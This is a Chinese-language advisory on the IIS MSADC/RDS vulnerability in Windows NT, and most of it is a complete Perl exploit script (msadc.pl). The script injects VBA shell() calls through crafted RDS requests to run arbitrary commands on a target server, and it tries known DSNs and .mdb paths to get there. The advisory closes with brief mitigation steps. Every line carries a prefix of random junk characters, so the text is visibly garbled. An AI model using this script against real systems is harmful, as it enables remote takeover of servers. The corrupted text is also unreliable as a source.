IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
b](o]O{v L'kq>1QWf 涉及程序：
r2eQ{u{nX Microsoft NT server
mBl7{w;Iv =& U`9q N 描述：
bkQ3c-C< 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
m N1Ssq"B +uQB
r G 详细：
|HbEk[?^s 如果你没有时间读详细内容的话，就删除:
*Z kss c:\Program Files\Common Files\System\Msadc\msadcs.dll
rY 70 ^<z 有关的安全问题就没有了。
vZjZb(jlN =Sxol>?t 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
#s"B-s WE F>Jg~ FD* 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
iB bb r, 关于利用ODBC远程漏洞的描述，请参看:
i ^|@"+ uEd,rEB> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm MV 936 b~Z=:'m8 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
D s -` http://www.microsoft.com/security/bulletins/MS99-025faq.asp y4F^|kS) [ gg]~2f 这里不再论述。
aWvd`qA9r moO _-@i 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
'h *Zc}Q: TlPVHJyt /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
n(&*kfk 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
gue(C(~.k_ 1L[S*X MW@ DXbKVl #将下面这段保存为txt文件，然后: "perl -x 文件名"
P z473d D Vw Cx^ #!perl
%W;u}` #
Es;;t83p # MSADC/RDS 'usage' (aka exploit) script
njMLyT($ #
Q4%IxR? # by rain.forest.puppy
1%eLs=u? #
/yYlu # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
xH$%5@~ # beta test and find errors!
_T~H[ &Hl =lrN'$z?% use Socket; use Getopt::Std;
8XbR getopts("e:vd:h:XR", \%args);
X <xqT 87 8tI3- print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
h)o]TV {wu!6\:<?? if (!defined $args{h} && !defined $args{R}) {
3 7>MJ print qq~
H1Xov r Usage: msadc.pl -h <host> { -d <delay> -X -v }
wo(j}O- -h <host> = host you want to scan (ip or domain)
+89o`u_l% -d <seconds> = delay between calls, default 1 second
N1?
iiv -X = dump Index Server path table, if available
D8/sz`N7Q -v = verbose
4A~)b"j 5 -e = external dictionary file for step 5
bOXh|u_3i ZjD2u 8e Or a -R will resume a command session
b\L)m ( %HEmi; ~; exit;}
`@$YlFOW 9p<:LZd~ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+ {a b1))/ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
# $u ZDQY_ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n4* 'B* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-A@U0=o $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
[+DNM
2A if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
rk|a'& CjZ6NAHc if (!defined $args{R}){ $ret = &has_msadc;
'#f?#( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
>@Khm"/T JS2!)aqc print "Please type the NT commandline you want to run (cmd /c assumed):\n"
M,{<TpCx . "cmd /c ";
YHh u^}|jQ $in=<STDIN>; chomp $in;
y Hw!#gWM $command="cmd /c " . $in ;
bV7QVu8 6 SAQDE if (defined $args{R}) {&load; exit;}
[N R1 d-Wg m?vAyi print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~y%7w5%Un &try_btcustmr;
Ja=N@&Z# 3mA/Nu_ print "\nStep 2: Trying to make our own DSN...";
I b(,P3 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
-9Xw]I#QR =0Y'f](2eW print "\nStep 3: Trying known DSNs...";
<w11 nB) &known_dsn;
EEg O 9oD#t~+F4 print "\nStep 4: Trying known .mdbs...";
tQnJS2V"{u &known_mdb;
F\P!NSFZV ke</x+\F if (defined $args{e}){
|vN$"mp^a print "\nStep 5: Trying dictionary of DSN names...";
"j;!_v>=f` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
9;:7e*x]lc A>y#}^l] print "Sorry Charley...maybe next time?\n";
Oi#k:vq4 exit;
:O#gJob-%s Q,TaJ ] ##############################################################################
?(M\:`G' [M2Dy{dh sub sendraw { # ripped and modded from whisker
oG9SO^v_ sleep($delay); # it's a DoS on the server! At least on mine...
D2-O7e my ($pstr)=@_;
L%4tw5*N socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
C$0 ITw die("Socket problems\n");
.?7So3 if(connect(S,pack "SnA4x8",2,80,$target)){
t9n'! select(S); $|=1;
<sF!]R&4 print $pstr; my @in=<S>;
*Ag, kW" select(STDOUT); close(S);
A8`orMo2 return @in;
otZ J Y) } else { die("Can't connect...\n"); }}
vKV{
$| $q=h c u ##############################################################################
^:$j:w?j PE +qYCpP9 sub make_header { # make the HTTP request
)%1&/uN) my $msadc=<<EOT
M{y|7e%K POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
P:vX }V |[ User-Agent: ACTIVEDATA
k .ww-nH Host: $ip
gGD]t;<u Content-Length: $clen
[/n' @cjNZ Connection: Keep-Alive
_c,&\ wl$ LDSbd,GF ADCClientVersion:01.06
yl|R:/2V Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
aGe \.A = 7{8)ykBU^ --!ADM!ROX!YOUR!WORLD!
13]y) ( Content-Type: application/x-varg
gB'`I(q5. Content-Length: $reqlen
U@MOvW) $Jt8d|UP EOT
| eK,Td% ; $msadc=~s/\n/\r\n/g;
~MD><w> return $msadc;}
lp 3(&p<: F\l!A'Q+t ##############################################################################
ZlUFJ*pk I\)N\mov e sub make_req { # make the RDS request
ook' u }h my ($switch, $p1, $p2)=@_;
8Na}Wp;|Gi my $req=""; my $t1, $t2, $query, $dsn;
HX z iD nj r{c5dQ
if ($switch==1){ # this is the btcustmr.mdb query
il<gjlyR]L $query="Select * from Customers where City=" . make_shell();
z bdOCfA; $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
UeC 81*XZ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
LjX&' , N>h]mX6 elsif ($switch==2){ # this is general make table query
1j8 /4: $query="create table AZZ (B int, C varchar(10))";
VN1# 8{ $dsn="$p1";}
LH1BZ(5g +X{cN5Y K elsif ($switch==3){ # this is general exploit table query
d;IJ0xB+by $query="select * from AZZ where C=" . make_shell();
F12S(5Z0% $dsn="$p1";}
yRSy(/L^+ oKZ [0(4< elsif ($switch==4){ # attempt to hork file info from index server
4j2~"K $query="select path from scope()";
U Ek |8yq $dsn="Provider=MSIDXS;";}
B/[hi%~ ^!XU+e+:0 elsif ($switch==5){ # bad query
h:eN>yW $query="select";
w`2_6[ ,9 $dsn="$p1";}
& *h`b{] ~r7DEy |+ $t1= make_unicode($query);
Z z{[Al{ $t2= make_unicode($dsn);
)2
$req = "\x02\x00\x03\x00";
Sf#\6X<B $req.= "\x08\x00" . pack ("S1", length($t1));
1KNkl,E $req.= "\x00\x00" . $t1 ;
|Sy}d[VKsZ $req.= "\x08\x00" . pack ("S1", length($t2));
+<vqkc $req.= "\x00\x00" . $t2 ;
9} IVNZc $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
fLf#2EA return $req;}
U!3uaz' &^"s=g. ##############################################################################
ZC>`ca + ;{rU& sub make_shell { # this makes the shell() statement
b*9m2=6 return "'|shell(\"$command\")|'";}
:C}KI) AqTR.}H ##############################################################################
p Rb+'v&_k YLr%vnO*NS sub make_unicode { # quick little function to convert to unicode
HQ jxJd5P my ($in)=@_; my $out;
_CYmG "mY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Mr@<ZTw return $out;}
h Js&rpN W\ZV0T;<] ##############################################################################
fwz5{>ON] D"1vw<Ak sub rdo_success { # checks for RDO return success (this is kludge)
Zi15wE my (@in) = @_; my $base=content_start(@in);
1D#T+t`[ if($in[$base]=~/multipart\/mixed/){
KR+ a Y. return 1 if( $in[$base+10]=~/^\x09\x00/ );}
4C2>0O<^s return 0;}
@Wlwt+;fT }Etd#"> ##############################################################################
aH~ x7N6! = 2GP^vh sub make_dsn { # this makes a DSN for us
D~t"9Z\ my @drives=("c","d","e","f");
E#WjoIk print "\nMaking DSN: ";
!ds"88:5^ foreach $drive (@drives) {
1VPfa print "$drive: ";
:d:|7hlNQ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Y:#kel< "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
3:z4M9f . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
U[H+87zg $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
~50y- return 0 if $2 eq "404"; # not found/doesn't exist
BdRE*9.0 if($2 eq "200") {
FN8=YUYK% foreach $line (@results) {
o>QFd x return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
PAO[Og,- } return 0;}
H@O r X C_g"omw40 ##############################################################################
rA>A=, uH~ TugQ~ sub verify_exists {
-X6\[I:+A my ($page)=@_;
5r2ctde)Y my @results=sendraw("GET $page HTTP/1.0\n\n");
_tWfb}6;Zb return $results[0];}
6kmZ!9w0| jQw`*Y/, ##############################################################################
0|*UeM J_( (o sub try_btcustmr {
qJAv=D my @drives=("c","d","e","f");
Oujl m| my @dirs=("winnt","winnt35","winnt351","win","windows");
V"D<)VVA LgD{! foreach $dir (@dirs) {
?Pok-90 print "$dir -> "; # fun status so you can see progress
_sCJ 3ZJ foreach $drive (@drives) {
Wtzj;GJj print "$drive: "; # ditto
GXAk*vS=G $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1zEZ \G $reqlenlen=length( "$reqlen" );
,EGD8$RA] $clen= 206 + $reqlenlen + $reqlen;
d
>wmg*J xS Mp[j my @results=sendraw(make_header() . make_req(1,$drive,$dir));
SBYMDKZ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
k(v Ep ] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
xs83S.fHg !xx>
lX5 ##############################################################################
Ty,)mx){) _|5F rN sub odbc_error {
~_^o?NE, my (@in)=@_; my $base;
e*'|iuDrY my $base = content_start(@in);
}i/2XmA ) if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
wshp{ y $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qyG636i $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e8ig[:B>+ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cM7k) { return $in[$base+4].$in[$base+5].$in[$base+6];}
1RUbY>K#U print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
>stVsFdV) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
p'w"V6k('~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
h1 UlLy 8 K E)D =P ##############################################################################
3I{ta/( )su
<Ji* sub verbose {
IP4b[|ef my ($in)=@_;
H2p XJ/XF return if !$verbose;
&s}@7htE print STDOUT "\n$in\n";}
%(7w Z0Z ? 3E_KGI ##############################################################################
tX`[6` ff5
Lwf{{ sub save {
nluyEK my ($p1, $p2, $p3, $p4)=@_;
4\eX=~C>: open(OUT, ">rds.save") || print "Problem saving parameters...\n";
:pF]TY"K. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
O]r3?= close OUT;}
la"A$Tbu~ EX_sJ c ##############################################################################
MnrGD>M@| $r QFM[ sub load {
D A)0Y_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
bCx1g/
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
+]~w ?^h @p=<IN>; close(IN);
UC
LjR<} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
H*
L2gw $target= inet_aton($ip) || die("inet_aton problems");
+K?N:w print "Resuming to $ip ...";
kI[O {<kQ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
&#my #u^O; if($p[1]==1) {
"6o}qeB l $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
V]PhX VJ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
R_*D7|v my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
j?KB8oY`TP if (rdo_success(@results)){print "Success!\n";}
pN f9 else { print "failed\n"; verbose(odbc_error(@results));}}
]ieA?:0Hi elsif ($p[1]==3){
f/WM}Hp j if(run_query("$p[3]")){
~FCSq:_ print "Success!\n";} else { print "failed\n"; }}
JLV}Fw elsif ($p[1]==4){
AL$ Ty if(run_query($drvst . "$p[3]")){
W<hdb!bE print "Success!\n"; } else { print "failed\n"; }}
|I^Jn@Mq: exit;}
9xS`@ "` n#L2cv~Aj" ##############################################################################
@p` CAB JE:n`l/p sub create_table {
zam0(^= my ($in)=@_;
g l\$jDC9 $reqlen=length( make_req(2,$in,"") ) - 28;
Zow^bzy4 $reqlenlen=length( "$reqlen" );
!m:PBl5
$clen= 206 + $reqlenlen + $reqlen;
4l!Yop0h my @results=sendraw(make_header() . make_req(2,$in,""));
Y l3[~S
return 1 if rdo_success(@results);
'UG}E@G my $temp= odbc_error(@results); verbose($temp);
]! J3?G return 1 if $temp=~/Table 'AZZ' already exists/;
{ $TB#=G return 0;}
W yJfF=< l:Xf(TLa ##############################################################################
<Ibr.L] ht)*Ync sub known_dsn {
~aR='\< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
ysT!^-&p my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
c:_i )" : "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
yc4 f\0B/ "banner", "banners", "ads", "ADCDemo", "ADCTest");
Gv
nclnG V7'x?
pt foreach $dSn (@dsns) {
BG? 2PO{ print ".";
LOG*K;v3 next if (!is_access("DSN=$dSn"));
: a!a if(create_table("DSN=$dSn")){
it| :P print "$dSn successful\n";
e^Wv*OD' if(run_query("DSN=$dSn")){
.O-DVW Cm print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
xjk|O;ak print "Something's borked. Use verbose next time\n";}}} print "\n";}
S^`9[$KH0 Ty|c@X ##############################################################################
U)=Z& ($T h)RM9813< sub is_access {
|
xI_aYv* my ($in)=@_;
} fMFQA) $reqlen=length( make_req(5,$in,"") ) - 28;
dv}R]f' $reqlenlen=length( "$reqlen" );
N$ a-i $clen= 206 + $reqlenlen + $reqlen;
; Kb[UZ 1 my @results=sendraw(make_header() . make_req(5,$in,""));
Y},GZ ^zqy my $temp= odbc_error(@results);
G` lhvpifG verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Z q>.;> return 0;}
_$_CR\$ F T<* ##############################################################################
Gz5@1CF Nl)jQ sub run_query {
G6F['g); my ($in)=@_;
C^: &3, $reqlen=length( make_req(3,$in,"") ) - 28;
[gr[0aG Bc $reqlenlen=length( "$reqlen" );
iKH T $clen= 206 + $reqlenlen + $reqlen;
Uk ;.Hrt. my @results=sendraw(make_header() . make_req(3,$in,""));
oc%le2 return 1 if rdo_success(@results);
Xl Jux_LD: my $temp= odbc_error(@results); verbose($temp);
%!h+ return 0;}
;9 n8on\ (gC^5&11 ##############################################################################
V+ ~2q= 'n.9qxY; sub known_mdb {
$=SYssg7La my @drives=("c","d","e","f","g");
WY~[tBi\ my @dirs=("winnt","winnt35","winnt351","win","windows");
+~.Jw#Hq S my $dir, $drive, $mdb;
Tka="eyIj3 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
mBkQ
8e ]_xGVwem # this is sparse, because I don't know of many
0]0M>vx
u my @sysmdbs=( "\\catroot\\icatalog.mdb",
`ViNSr):J "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
.Tq vy)' "\\system32\\certmdb.mdb",
wTbIS~!gF "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
qc"/T16M] :@A;!'zpL my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
O Wfj<#}t+ "\\cfusion\\cfapps\\forums\\forums_.mdb",
`;2`H, G' "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Xn'>k[}<k "\\cfusion\\cfapps\\security\\realm_.mdb",
TBfl9 Q "\\cfusion\\cfapps\\security\\data\\realm.mdb",
?\ VN`8Yb "\\cfusion\\database\\cfexamples.mdb",
U*h)nc "\\cfusion\\database\\cfsnippets.mdb",
^S2} 0N f "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
ew ['9 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Px&Mi:4tG "\\cfusion\\brighttiger\\database\\cleam.mdb",
Q</HF pE "\\cfusion\\database\\smpolicy.mdb",
+%$V?y
( "\\cfusion\\database\cypress.mdb",
"jMnYEG "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
x)mC^ "\\website\\cgi-win\\dbsample.mdb",
9Bw5 t@ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
w~?eX/; "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
r_RT tS# ); #these are just
h!%`odl%
foreach $drive (@drives) {
, .F+ x} foreach $dir (@dirs){
t ?'/KL foreach $mdb (@sysmdbs) {
Gw, kC{:C print ".";
tV4aUve if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
6Rodn Q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
D|#(zjl@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
&g>+tkC print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
hG3Lj7)UH } else { print "Something's borked. Use verbose next time\n"; }}}}}
F4gc_>{| !qve1H4d2 foreach $drive (@drives) {
t4f\0`jN foreach $mdb (@mdbs) {
VO?NrKyeW print ".";
:?W:'% (`[ if(create_table($drv . $drive . $dir . $mdb)){
"evV/Fg ( print "\n" . $drive . $dir . $mdb . " successful\n";
&" n9,$ if(run_query($drv . $drive . $dir . $mdb)){
SVz.d/3Y print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
}CqIKoX. } else { print "Something's borked. Use verbose next time\n"; }}}}
z KT<QM!` }
8}@a?QS(& -e\56%\~_ ##############################################################################
Vk
T3_f ZA@"uqa 6b sub hork_idx {
'2oBi6|X print "\nAttempting to dump Index Server tables...\n";
vLS 6Gb't print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
dBn.DU*B $reqlen=length( make_req(4,"","") ) - 28;
&>t1 A5 $reqlenlen=length( "$reqlen" );
Xxw.{2Ji!q $clen= 206 + $reqlenlen + $reqlen;
:\RB ^3; my @results=sendraw2(make_header() . make_req(4,"",""));
_
RT}Ee}Y if (rdo_success(@results)){
Us.jyg7_c my $max=@results; my $c; my %d;
1Xc%%j for($c=19; $c<$max; $c++){
ghiEl sBU $results[$c]=~s/\x00//g;
7|Y8^T
s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
8G<.5!f7`N $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
nJC}wh2d# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
b7mP~]V $d{"$1$2"}="";}
&T}e9 3 ] foreach $c (keys %d){ print "$c\n"; }
}$U6lh/Ep } else {print "Index server doesn't seem to be installed.\n"; }}
]h@:Y] 1t'\! ##############################################################################
"rJL ^ \r 4ebGA g ?_ sub dsn_dict {
xy>mM"DOH open(IN, "<$args{e}") || die("Can't open external dictionary\n");
*%sYajmD while(<IN>){
}qPo%T $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
8^T$6A[b next if (!is_access("DSN=$dSn"));
{eV_+@dT if(create_table("DSN=$dSn")){
u1<kdTxA
N print "$dSn successful\n";
1]~} 0;, if(run_query("DSN=$dSn")){
a}\JA`5;)Z print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
p { 3|W< print "Something's borked. Use verbose next time\n";}}}
k/O&,T77}J print "\n"; close(IN);}
!^\/
1^ \3/'#
##############################################################################
q sx1:Ny 1 ktRdf6:~ sub sendraw2 { # ripped and modded from whisker
)=@ XF0 sleep($delay); # it's a DoS on the server! At least on mine...
\
3N# % my ($pstr)=@_;
3iTjM>+> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4F ?1,-X die("Socket problems\n");
qZG >FC37 if(connect(S,pack "SnA4x8",2,80,$target)){
[ Ma9 print "Connected. Getting data";
]W,g>91m open(OUT,">raw.out"); my @in;
m\=u/Zip select(S); $|=1; print $pstr;
gE~31:a^ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
!5-[k G& close(OUT); select(STDOUT); close(S); return @in;
6D<A@DR9J } else { die("Can't connect...\n"); }}
!$HW UxM;p jL<.?HE ##############################################################################
X(9Ff=0.~ KNhH4K2iP8 sub content_start { # this will take in the server headers
{ar }.U my (@in)=@_; my $c;
ptcU_*Gd for ($c=1;$c<500;$c++) {
xB#E&}Ho if($in[$c] =~/^\x0d\x0a/){
cAS5&T < if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
HS7!O else { return $c+1; }}}
8:bNFgJD return -1;} # it should never get here actually
+F R"Gt$ g K k m7L- ##############################################################################
Khl7Ez XA68H!I sub funky {
YX(%jcj* my (@in)=@_; my $error=odbc_error(@in);
~S9nLb:O{ if($error=~/ADO could not find the specified provider/){
x4 K5 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
FKP^f\! M exit;}
j&9~OXYv if($error=~/A Handler is required/){
N INiX( print "\nServer has custom handler filters (they most likely are patched)\n";
F)G#\r exit;}
(@Bm2g H if($error=~/specified Handler has denied Access/){
FW4 hqgE@ print "\nServer has custom handler filters (they most likely are patched)\n";
aum,bm/0J exit;}}
<4Fd ~ B$G8,3 ,: ##############################################################################
P?F:x=@'| jWz-7BO sub has_msadc {
\?Z d UY my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
JcP'+@X" my $base=content_start(@results);
Jz6PqU|= return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
`}bUf epMJ return 0;}
g= .5*'Xlp c/u;v6 9r ########################
T>?~eYHXs KME
#5=~ ;S7xJ 'H 解决方案：
ntT | G0E 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Q.Acmht# 2、移除web 目录: /msadc
